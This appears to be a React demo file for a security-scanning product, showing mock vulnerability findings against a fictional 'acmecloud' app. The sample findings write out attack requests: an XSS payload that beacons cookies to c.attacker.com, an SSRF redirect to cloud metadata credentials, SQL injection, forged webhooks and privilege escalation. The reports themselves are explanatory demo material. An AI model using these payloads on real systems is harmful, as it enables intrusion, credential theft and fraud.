// demo.jsx — public, read-only product demo at /demo.
// Reuses the real KyroShell / Dashboard / FindingsView components with mock
// data, so anyone (no signup) sees the authenticated dashboard exactly as a
// customer would. Fully client-side: no auth, no API, no websocket.
//
// IMPORTANT: this file is loaded on every SPA page (it's in index.html), so all
// top-level side effects are guarded to the /demo path. DemoApp is only mounted
// by app.jsx when the path starts with /demo.
const DEMO_NOW = Date.now();
const hrs = (h) => DEMO_NOW - h * 3600 * 1000;

const DEMO_USER = {
  fullName: 'Demo User',
  email: 'demo@acmecloud.com',
  company: 'Acme Cloud',
  credits: 42,
  emailVerified: true,
  isAdmin: false,
};

const DEMO_APPS = [
  { id: 'app_acme', name: 'Acme Cloud', domain: 'app.acmecloud.com', status: 'review', findingCounts: { open: 4, fixed: 1 } },
  { id: 'app_api',  name: 'Acme API',   domain: 'api.acmecloud.com', status: 'active', findingCounts: { open: 1, fixed: 1 } },
  { id: 'app_pay',  name: 'Payments',   domain: 'pay.acmecloud.com', status: 'review', findingCounts: { open: 2, fixed: 0 } },
];

const DEMO_FINDINGS = [
  {
    id: 'kyr-1042', appId: 'app_acme', severity: 'critical', status: 'new', outOfScope: false, foundAt: hrs(5),
    title: 'Cross-tenant data access via GraphQL global node IDs',
    type: 'Broken Object Level Authorization (BOLA)',
    vulnerableUrl: 'POST https://app.acmecloud.com/graphql',
    tags: ['graphql', 'bola', 'idor'],
    summary: "The GraphQL node(id:) interface resolves any global object ID without checking tenant ownership. A member of one organization can decode another org's IDs (base64 of \"Type:rowid\") and read records belonging to any tenant: invoices, API keys, and user PII.",
    reproEnv: [
      'Create two orgs: Org A (attacker) and Org B (victim).',
      'Log in as an ordinary member of Org A.',
    ],
    reproSteps: [
      'Object IDs are predictable: base64("Invoice:1042") = "SW52b2ljZToxMDQy". As Org A, request Org B\'s invoice:',
      'POST /graphql HTTP/1.1\nHost: app.acmecloud.com\nAuthorization: Bearer <ORG_A_TOKEN>\nContent-Type: application/json\n\n{"query":"{ node(id:\\"SW52b2ljZToxMDQy\\"){ ... on Invoice { id total customerEmail pdfUrl } } }"}',
      'The response returns Org B\'s invoice, including customerEmail and a signed pdfUrl, even though the token belongs to Org A.',
      'Because rowids are sequential, iterating Invoice:1..N walks every invoice on the platform.',
    ],
    impact: [
      'Full cross-tenant read of invoices, customer PII, and signed document URLs.',
      'IDs are sequential base64, so the entire table is enumerable in minutes.',
      'The node resolver never scopes by org, so every type exposed through the global node interface is affected.',
    ],
    hunterNote: 'Reproduced with a fresh Org A token 4 times and pulled 3 unrelated tenants\' invoices. The resolver authenticates the request but never checks node.org_id == viewer.org_id.',
  },
  {
    id: 'kyr-1037', appId: 'app_pay', severity: 'critical', status: 'new', outOfScope: false, foundAt: hrs(9),
    title: 'Forged Stripe webhook grants unlimited account credit',
    type: 'Improper webhook signature verification',
    vulnerableUrl: 'POST https://pay.acmecloud.com/api/webhooks/stripe',
    tags: ['webhook', 'payments', 'auth'],
    summary: 'The Stripe webhook endpoint parses the JSON body and applies balance changes without verifying the Stripe-Signature header. An unauthenticated attacker can POST a forged checkout.session.completed event referencing their own customer ID and credit their account with any amount, for free.',
    reproSteps: [
      'Read your customer ID (cus_...) from the dashboard network tab, then POST a forged event with no signature:',
      'POST /api/webhooks/stripe HTTP/1.1\nHost: pay.acmecloud.com\nContent-Type: application/json\n\n{"type":"checkout.session.completed","data":{"object":{"customer":"cus_ATTACKER","amount_total":1000000,"metadata":{"credits":"100000"}}}}',
      'Server responds 200 {"received":true} and the dashboard balance jumps by 100,000 credits.',
      'Replaying the same request stacks the credit each time, there is no idempotency key.',
    ],
    impact: [
      'Any unauthenticated user can grant themselves unlimited paid credit, a direct revenue loss.',
      'Swapping the customer ID lets an attacker inflate or zero out any customer\'s balance.',
      'No signature verification and no replay protection.',
    ],
    hunterNote: 'Confirmed the handler calls JSON.parse(req.body) directly and never reconstructs the event with the signing secret.',
  },
  {
    id: 'kyr-1031', appId: 'app_api', severity: 'high', status: 'new', outOfScope: false, foundAt: hrs(14),
    title: 'Blind SSRF in report export reaches cloud metadata',
    type: 'Server-Side Request Forgery (SSRF)',
    vulnerableUrl: 'POST https://api.acmecloud.com/v1/exports',
    tags: ['ssrf', 'metadata', 'export'],
    summary: 'The export feature fetches a user-supplied logoUrl server-side to embed in generated PDFs. The fetch follows redirects with no allowlist, so a redirector can send it to the cloud metadata endpoint and the resulting PDF renders the IAM credentials.',
    reproSteps: [
      'Point logoUrl at an attacker redirector (passes the naive "must start with https" check):',
      'POST /v1/exports HTTP/1.1\nHost: api.acmecloud.com\nAuthorization: Bearer <TOKEN>\nContent-Type: application/json\n\n{"format":"pdf","logoUrl":"https://r.attacker.com/meta"}',
      'r.attacker.com/meta replies: 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/export-role',
      'Open the generated PDF, the logo area contains the role\'s AccessKeyId, SecretAccessKey and Token.',
      'Those credentials grant S3 read on the customer documents bucket.',
    ],
    impact: [
      'Leaks temporary IAM credentials for the export worker\'s role.',
      'The role can read the documents S3 bucket across all customers.',
      'Redirect-based bypass defeats the scheme check; DNS rebinding also works.',
    ],
    hunterNote: 'A DNS pingback confirmed the outbound fetch first; the redirect-to-metadata chain returned live credentials in 2 of 3 runs (IMDSv1 still enabled).',
  },
  {
    id: 'kyr-1028', appId: 'app_acme', severity: 'high', status: 'new', outOfScope: false, foundAt: hrs(20),
    title: 'Privilege escalation via mass assignment on profile update',
    type: 'Mass assignment / broken access control',
    vulnerableUrl: 'PATCH https://app.acmecloud.com/api/v1/users/me',
    tags: ['mass-assignment', 'privesc'],
    summary: 'The self-service profile update binds the request body straight onto the user model. Sending an extra role field promotes the caller to Owner, even though the UI never exposes it.',
    reproSteps: [
      'As an ordinary member, add a role field to the profile update:',
      'PATCH /api/v1/users/me HTTP/1.1\nHost: app.acmecloud.com\nAuthorization: Bearer <MEMBER_TOKEN>\nContent-Type: application/json\n\n{"name":"Mallory","role":"owner"}',
      'The response echoes "role":"owner". Reload the app and the Owner admin panel is now available.',
      'From there you can invite users, rotate API keys, and read all org data.',
    ],
    impact: [
      'Any member escalates to Owner with a single request.',
      'Owner can read and modify all tenant data and billing.',
      'There is no server-side allowlist of mutable fields.',
    ],
    hunterNote: 'The handler uses Object.assign(user, req.body); only the client form limited the fields.',
  },
  {
    id: 'kyr-1019', appId: 'app_pay', severity: 'high', status: 'new', outOfScope: false, foundAt: hrs(28),
    title: 'Race condition lets a one-time coupon redeem repeatedly',
    type: 'Race condition (TOCTOU)',
    vulnerableUrl: 'POST https://pay.acmecloud.com/api/coupons/redeem',
    tags: ['race-condition', 'logic'],
    summary: 'Coupon redemption checks "already used?" and then writes the redemption in two steps with no lock or unique constraint. Firing many redemptions in parallel passes the check before any write lands, so a single-use coupon applies dozens of times.',
    reproSteps: [
      'Send 30 concurrent redemptions of one single-use code:',
      "curl -s -X POST https://pay.acmecloud.com/api/coupons/redeem -H 'Authorization: Bearer <TOKEN>' -H 'Content-Type: application/json' -d '{\"code\":\"WELCOME100\"}'   # fired 30x in parallel",
      'About 24 of 30 return 200 "applied", each subtracting 100 from the amount due.',
      'The order total goes negative and is credited back to the customer.',
    ],
    impact: [
      'Single-use and per-customer caps are bypassable, a direct revenue loss.',
      'Negative totals convert into account credit and refunds.',
      'Affects every limited-use promo and gift code.',
    ],
    hunterNote: '24/30 parallel requests succeeded. A unique index on (coupon_id, user_id) or a row lock closes it.',
  },
  {
    id: 'kyr-1015', appId: 'app_acme', severity: 'medium', status: 'new', outOfScope: false, foundAt: hrs(36),
    title: 'Stored XSS in member name executes in the admin console',
    type: 'Stored Cross-Site Scripting (XSS)',
    vulnerableUrl: 'https://app.acmecloud.com/admin/members',
    tags: ['xss', 'stored'],
    summary: 'A member can set their display name to an HTML payload. It is stored unsanitized and rendered with innerHTML in the Owner-only members table, so it runs in an admin session, crossing a privilege boundary.',
    reproSteps: [
      'As a low-privilege member, set your name to a payload:',
      'PATCH /api/v1/users/me HTTP/1.1\nHost: app.acmecloud.com\nAuthorization: Bearer <MEMBER_TOKEN>\nContent-Type: application/json\n\n{"name":"<img src=x onerror=fetch(\'//c.attacker.com/\'+document.cookie)>"}',
      'When an Owner opens Admin > Members, the payload fires in their session and beacons their session cookie.',
      'With that cookie the attacker takes over the Owner account.',
    ],
    impact: [
      'A low-privilege member runs JS in an Owner session, stored, with no interaction beyond viewing the members list.',
      'Leads to admin session theft and full account takeover.',
      'The members table renders the raw name with dangerouslySetInnerHTML.',
    ],
    hunterNote: 'Fired in a separate admin session during testing and the cookie beaconed out. Output-encoding the name fixes it.',
  },
  {
    id: 'kyr-0998', appId: 'app_api', severity: 'high', status: 'fixed', outOfScope: false, foundAt: hrs(74),
    title: 'Second-order SQL injection in saved search names',
    type: 'SQL injection (second-order)',
    vulnerableUrl: 'GET https://api.acmecloud.com/v1/search/saved?stats=1',
    tags: ['sqli', 'second-order'],
    summary: 'A saved-search name is stored safely via a parameterized insert, but a later analytics job concatenates that stored name into a raw SQL string. The injection executes when the analytics endpoint runs, not at save time, the classic second-order pattern.',
    reproSteps: [
      'Save a search whose name carries a payload (the insert is parameterized, so this looks harmless):',
      'POST /v1/search/saved HTTP/1.1\nHost: api.acmecloud.com\nAuthorization: Bearer <TOKEN>\nContent-Type: application/json\n\n{"name":"x\'); SELECT pg_sleep(8)-- ","query":"status:open"}',
      'Trigger the analytics rollup that reads saved-search names:',
      'GET /v1/search/saved?stats=1 HTTP/1.1\nHost: api.acmecloud.com\nAuthorization: Bearer <TOKEN>',
      'The response is delayed ~8s, confirming injection in the analytics query path. UNION and error-based payloads dump other tenants\' rows.',
    ],
    impact: [
      'Time-based and UNION injection in a Postgres query that runs with broad table access.',
      'Cross-tenant data exfiltration and potential writes via stacked queries.',
      'The save path looked safe in isolation, the sink lives in a different service.',
    ],
    hunterNote: 'Fixed: the analytics job now uses bound parameters. Re-verified on the next scan, the pg_sleep payload no longer delays the response.',
  },
  {
    id: 'kyr-0975', appId: 'app_acme', severity: 'medium', status: 'dismissed', outOfScope: false, foundAt: hrs(120),
    title: 'Stack traces leaked on unhandled 500 errors',
    type: 'Information disclosure',
    vulnerableUrl: 'GET https://app.acmecloud.com/api/v1/reports/null',
    tags: ['info-disclosure'],
    summary: 'Unhandled exceptions return a full stack trace including framework version, dependency versions, and absolute server file paths, which helps an attacker fingerprint the stack and find other weaknesses.',
    reproSteps: [
      'Send a request that triggers an unhandled error (a malformed id):',
      'GET /api/v1/reports/null HTTP/1.1\nHost: app.acmecloud.com\nAuthorization: Bearer <TOKEN>',
      'The 500 response body contains the exception, the stack trace, and absolute paths under /srv/app.',
    ],
    impact: [
      'Reveals framework and dependency versions and server filesystem layout.',
      'Useful for fingerprinting and chaining with other issues.',
    ],
    hunterNote: 'Owner dismissed this: the verbose handler is behind a staging-only flag and is disabled in production.',
  },
];

function DemoRibbon() {
  return (
    <div style={{
      margin: '16px 0 0', padding: '12px 18px',
      background: 'var(--violet-50)', border: '1px solid var(--violet-200)',
      borderLeft: '3px solid var(--brand)',
      display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: 16, flexWrap: 'wrap',
    }}>
      <div style={{ display: 'flex', alignItems: 'center', gap: 12, minWidth: 0 }}>
        <Icon name="sparkles" size={20} style={{ color: 'var(--brand)', flexShrink: 0 }} />
        <div>
          <div style={{ fontSize: 14, fontWeight: 700, color: 'var(--ink-900)' }}>
            You're viewing a live demo with sample findings
          </div>
          <div style={{ fontSize: 12, color: 'var(--fg-secondary)', marginTop: 2, lineHeight: 1.5 }}>
            These are realistic example bugs. Point Kyro at your own app to see what it really finds.
          </div>
        </div>
      </div>
      <Button variant="primary" size="sm" icon="arrow-right"
              onClick={() => { window.location.href = '/register'; }}>
        Run a free scan
      </Button>
    </div>
  );
}

function DemoPlaceholder({ view }) {
  const copy = view === 'settings'
    ? { title: 'Settings live in your account', body: 'Billing, credits, and scan preferences are available once you create a free account.' }
    : { title: 'Add your own apps', body: 'In a real account you point Kyro at your app URL and it starts hunting. This demo shows the findings view with sample data.' };
  return (
    <div style={{ paddingTop: 48 }}>
      <Card style={{ padding: 40, textAlign: 'center', maxWidth: 560, margin: '0 auto' }}>
        <div style={{ fontFamily: 'var(--font-serif)', fontSize: 24, fontWeight: 500, marginBottom: 10, fontVariationSettings: "'opsz' 80" }}>
          {copy.title}
        </div>
        <div style={{ fontSize: 14, color: 'var(--fg-muted)', lineHeight: 1.6, marginBottom: 24 }}>
          {copy.body}
        </div>
        <Button variant="primary" icon="arrow-right" onClick={() => { window.location.href = '/register'; }}>
          Create a free account
        </Button>
      </Card>
    </div>
  );
}

function DemoApp() {
  const { useState, useMemo } = React;
  const [view, setView] = useState('overview');
  const [openFindingId, setOpenFindingId] = useState(null);
  const [findings, setFindings] = useState(() => DEMO_FINDINGS.map(f => ({ ...f, viewed: false })));
  const [dismissedNotifIds, setDismissedNotifIds] = useState(() => new Set());

  const apps = DEMO_APPS;

  const onNav = (next) => setView(['overview', 'apps', 'findings', 'settings'].includes(next) ? next : 'overview');

  const openFinding = (id) => {
    setOpenFindingId(id);
    setFindings(prev => prev.map(f => f.id === id ? { ...f, viewed: true } : f));
  };
  const openFindingInFindings = (id) => { setView('findings'); openFinding(id); };
  const updateStatus = (id, status) => setFindings(prev => prev.map(f => f.id === id ? { ...f, status } : f));

  const openCount = useMemo(
    () => findings.filter(f => f.status === 'new' && !f.outOfScope).length,
    [findings]
  );

  const notifications = useMemo(() => findings
    .filter(f => f.status === 'new' && !f.outOfScope && !dismissedNotifIds.has(f.id))
    .sort((a, b) => b.foundAt - a.foundAt)
    .slice(0, 6)
    .map(f => ({ id: f.id, title: f.title, severity: f.severity, when: f.foundAt, appName: (apps.find(a => a.id === f.appId) || {}).name || 'App' })),
    [findings, dismissedNotifIds]
  );

  const markAllNotifsRead = () => setDismissedNotifIds(prev => new Set([...prev, ...notifications.map(n => n.id)]));

  return (
    <KyroShell
      active={view}
      onNav={onNav}
      openCount={openCount}
      sidebarStyle="labeled"
      activeHunts={1}
      user={DEMO_USER}
      notifications={notifications}
      onOpenFinding={openFindingInFindings}
      onMarkAllNotifsRead={markAllNotifsRead}
      onNavSettings={() => setView('settings')}
      onLogout={() => { window.location.href = '/'; }}
    >
      <DemoRibbon />
      {view === 'overview' && (
        <Dashboard
          findings={findings} apps={apps}
          onNav={onNav}
          onOpenFinding={openFindingInFindings}
          onOpenApp={() => setView('apps')}
        />
      )}
      {view === 'findings' && (
        <FindingsView
          findings={findings} apps={apps}
          onUpdateStatus={updateStatus}
          openId={openFindingId}
          onCloseDetail={() => setOpenFindingId(null)}
          onOpenFinding={openFinding}
        />
      )}
      {(view === 'apps' || view === 'settings') && <DemoPlaceholder view={view} />}
    </KyroShell>
  );
}

// Guarded to /demo so it never touches the real app: make the report
// export/download buttons in the shared FindingDetail nudge signup instead of
// hitting auth-gated endpoints.
if (typeof window !== 'undefined' && window.location.pathname.startsWith('/demo') && window.KyroApi) {
  window.KyroApi.reportExportUrl = () => '/register';
  window.KyroApi.reportMarkdownUrl = () => '/register';
}

window.DemoApp = DemoApp;
